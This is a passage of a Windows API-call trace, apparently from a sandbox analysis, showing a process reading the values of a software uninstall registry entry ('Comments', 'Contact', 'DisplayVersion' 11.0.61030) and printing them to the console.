GetConsoleOutputCP () returned 0x1b5 [0150.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.413] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.413] __iob_func () returned 0x7fefd702a80 [0150.413] _fileno (_File=0x7fefd702ab0) returned 1 [0150.413] _errno () returned 0x204bb0 [0150.413] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.413] _errno () returned 0x204bb0 [0150.413] GetFileType (hFile=0x50) returned 0x1 [0150.413] lstrlenW (lpString="REG_SZ") returned 6 [0150.413] GetConsoleOutputCP () returned 0x1b5 [0150.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.413] GetConsoleOutputCP () returned 0x1b5 [0150.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.413] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.413] __iob_func () returned 0x7fefd702a80 [0150.413] _fileno (_File=0x7fefd702ab0) returned 1 [0150.413] _errno () returned 0x204bb0 [0150.413] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.413] _errno () returned 0x204bb0 [0150.414] GetFileType (hFile=0x50) returned 0x1 [0150.414] lstrlenW (lpString=" ") returned 4 [0150.414] GetConsoleOutputCP () returned 0x1b5 [0150.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.414] GetConsoleOutputCP () returned 0x1b5 [0150.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.414] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.414] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.414] __iob_func () returned 0x7fefd702a80 [0150.414] _fileno (_File=0x7fefd702ab0) returned 1 [0150.414] _errno () returned 0x204bb0 [0150.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.414] _errno () returned 0x204bb0 [0150.414] GetFileType (hFile=0x50) returned 0x1 [0150.414] lstrlenW (lpString="") returned 0 [0150.414] __iob_func () returned 0x7fefd702a80 [0150.414] _fileno (_File=0x7fefd702ab0) returned 1 [0150.414] _errno () returned 0x204bb0 [0150.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.414] _errno () returned 0x204bb0 [0150.414] GetFileType (hFile=0x50) returned 0x1 [0150.414] lstrlenW (lpString="\n") returned 1 [0150.414] GetConsoleOutputCP () returned 0x1b5 [0150.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.415] GetConsoleOutputCP () returned 0x1b5 [0150.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.415] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.415] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.415] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.415] GetProcessHeap () returned 0x3c0000 [0150.415] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.415] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0150.415] __iob_func () returned 0x7fefd702a80 [0150.415] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.415] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.415] _fileno (_File=0x7fefd702ab0) returned 1 [0150.415] _errno () returned 0x204bb0 [0150.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.415] _errno () returned 0x204bb0 [0150.415] GetFileType (hFile=0x50) returned 0x1 [0150.415] lstrlenW (lpString=" ") returned 4 [0150.415] GetConsoleOutputCP () returned 0x1b5 [0150.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.416] GetConsoleOutputCP () returned 0x1b5 [0150.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.416] lstrlenW (lpString="Comments") returned 8 [0150.416] __iob_func () returned 0x7fefd702a80 [0150.416] _fileno (_File=0x7fefd702ab0) returned 1 [0150.416] _errno () returned 0x204bb0 [0150.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.416] _errno () returned 0x204bb0 [0150.416] GetFileType (hFile=0x50) returned 0x1 [0150.416] lstrlenW (lpString="Comments") returned 8 [0150.416] GetConsoleOutputCP () returned 0x1b5 [0150.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.416] GetConsoleOutputCP () returned 0x1b5 [0150.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.417] __iob_func () returned 0x7fefd702a80 [0150.417] _fileno (_File=0x7fefd702ab0) returned 1 [0150.417] _errno () returned 0x204bb0 [0150.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.417] _errno () returned 0x204bb0 [0150.417] GetFileType (hFile=0x50) returned 0x1 [0150.417] lstrlenW (lpString=" ") returned 4 [0150.417] GetConsoleOutputCP () returned 0x1b5 [0150.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.417] GetConsoleOutputCP () returned 0x1b5 [0150.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.417] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.417] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.417] __iob_func () returned 0x7fefd702a80 [0150.417] _fileno (_File=0x7fefd702ab0) returned 1 [0150.417] _errno () returned 0x204bb0 [0150.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.417] _errno () returned 0x204bb0 [0150.417] GetFileType (hFile=0x50) returned 0x1 [0150.417] lstrlenW (lpString="REG_SZ") returned 6 [0150.417] GetConsoleOutputCP () returned 0x1b5 [0150.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.417] GetConsoleOutputCP () returned 0x1b5 [0150.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.418] __iob_func () returned 0x7fefd702a80 [0150.418] _fileno (_File=0x7fefd702ab0) returned 1 [0150.418] _errno () returned 0x204bb0 [0150.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.418] _errno () returned 0x204bb0 [0150.418] GetFileType (hFile=0x50) returned 0x1 [0150.418] lstrlenW (lpString=" ") returned 4 [0150.418] GetConsoleOutputCP () returned 0x1b5 [0150.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.418] GetConsoleOutputCP () returned 0x1b5 [0150.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.418] __iob_func () returned 0x7fefd702a80 [0150.418] _fileno (_File=0x7fefd702ab0) returned 1 [0150.418] _errno () returned 0x204bb0 [0150.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.418] _errno () returned 0x204bb0 [0150.418] GetFileType (hFile=0x50) returned 0x1 [0150.418] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0150.419] GetConsoleOutputCP () returned 0x1b5 [0150.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0150.419] GetConsoleOutputCP () returned 0x1b5 [0150.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0150.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0150.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.419] __iob_func () returned 0x7fefd702a80 [0150.419] _fileno (_File=0x7fefd702ab0) returned 1 [0150.419] _errno () returned 0x204bb0 [0150.419] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.419] _errno () returned 0x204bb0 [0150.419] GetFileType (hFile=0x50) returned 0x1 [0150.419] lstrlenW (lpString="\n") returned 1 [0150.419] GetConsoleOutputCP () returned 0x1b5 [0150.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.419] GetConsoleOutputCP () returned 0x1b5 [0150.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.419] GetProcessHeap () returned 0x3c0000 [0150.419] GetProcessHeap () returned 0x3c0000 [0150.420] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.420] GetProcessHeap () returned 0x3c0000 [0150.420] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.420] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.420] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.420] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.420] GetProcessHeap () returned 0x3c0000 [0150.420] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.420] GetProcessHeap () returned 0x3c0000 [0150.420] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.420] GetProcessHeap () returned 0x3c0000 [0150.420] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.420] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.420] __iob_func () returned 0x7fefd702a80 [0150.420] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.420] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.420] _fileno (_File=0x7fefd702ab0) returned 1 [0150.420] _errno () returned 0x204bb0 [0150.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.420] _errno () returned 0x204bb0 [0150.420] GetFileType (hFile=0x50) returned 0x1 [0150.420] lstrlenW (lpString=" ") returned 4 [0150.420] GetConsoleOutputCP () returned 0x1b5 [0150.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.420] GetConsoleOutputCP () returned 0x1b5 [0150.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.421] lstrlenW (lpString="Contact") returned 7 [0150.421] __iob_func () returned 0x7fefd702a80 [0150.421] _fileno (_File=0x7fefd702ab0) returned 1 [0150.421] _errno () returned 0x204bb0 [0150.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.421] _errno () returned 0x204bb0 [0150.421] GetFileType (hFile=0x50) returned 0x1 [0150.421] lstrlenW (lpString="Contact") returned 7 [0150.421] GetConsoleOutputCP () returned 0x1b5 [0150.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.421] GetConsoleOutputCP () returned 0x1b5 [0150.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.421] __iob_func () returned 0x7fefd702a80 [0150.421] _fileno (_File=0x7fefd702ab0) returned 1 [0150.421] _errno () returned 0x204bb0 [0150.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.421] _errno () returned 0x204bb0 [0150.421] GetFileType (hFile=0x50) returned 0x1 [0150.421] lstrlenW (lpString=" ") returned 4 [0150.421] GetConsoleOutputCP () returned 0x1b5 [0150.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.422] GetConsoleOutputCP () returned 0x1b5 [0150.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.422] __iob_func () returned 0x7fefd702a80 [0150.422] _fileno (_File=0x7fefd702ab0) returned 1 [0150.422] _errno () returned 0x204bb0 [0150.422] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.422] _errno () returned 0x204bb0 [0150.422] GetFileType (hFile=0x50) returned 0x1 [0150.422] lstrlenW (lpString="REG_SZ") returned 6 [0150.422] GetConsoleOutputCP () returned 0x1b5 [0150.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.422] GetConsoleOutputCP () returned 0x1b5 [0150.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.423] __iob_func () returned 0x7fefd702a80 [0150.423] _fileno (_File=0x7fefd702ab0) returned 1 [0150.423] _errno () returned 0x204bb0 [0150.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.423] _errno () returned 0x204bb0 [0150.423] GetFileType (hFile=0x50) returned 0x1 [0150.423] lstrlenW (lpString=" ") returned 4 [0150.424] GetConsoleOutputCP () returned 0x1b5 [0150.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.424] GetConsoleOutputCP () returned 0x1b5 [0150.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.424] __iob_func () returned 0x7fefd702a80 [0150.424] _fileno (_File=0x7fefd702ab0) returned 1 [0150.424] _errno () returned 0x204bb0 [0150.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.424] _errno () returned 0x204bb0 [0150.424] GetFileType (hFile=0x50) returned 0x1 [0150.424] lstrlenW (lpString="") returned 0 [0150.424] __iob_func () returned 0x7fefd702a80 [0150.424] _fileno (_File=0x7fefd702ab0) returned 1 [0150.424] _errno () returned 0x204bb0 [0150.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.424] _errno () returned 0x204bb0 [0150.424] GetFileType (hFile=0x50) returned 0x1 [0150.424] lstrlenW (lpString="\n") returned 1 [0150.424] GetConsoleOutputCP () returned 0x1b5 [0150.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.424] GetConsoleOutputCP () returned 0x1b5 [0150.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.425] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.425] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.425] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.425] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.425] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c60 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.425] GetProcessHeap () returned 0x3c0000 [0150.425] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.425] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="11.0.61030", pcbData=0x29f780*=0x16) returned 0x0 [0150.425] __iob_func () returned 0x7fefd702a80 [0150.425] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.425] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.425] _fileno (_File=0x7fefd702ab0) returned 1 [0150.425] _errno () returned 0x204bb0 [0150.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.425] _errno () returned 0x204bb0 [0150.425] GetFileType (hFile=0x50) returned 0x1 [0150.425] lstrlenW (lpString=" ") returned 4 [0150.425] GetConsoleOutputCP () returned 0x1b5 [0150.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.426] GetConsoleOutputCP () returned 0x1b5 [0150.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.426] lstrlenW 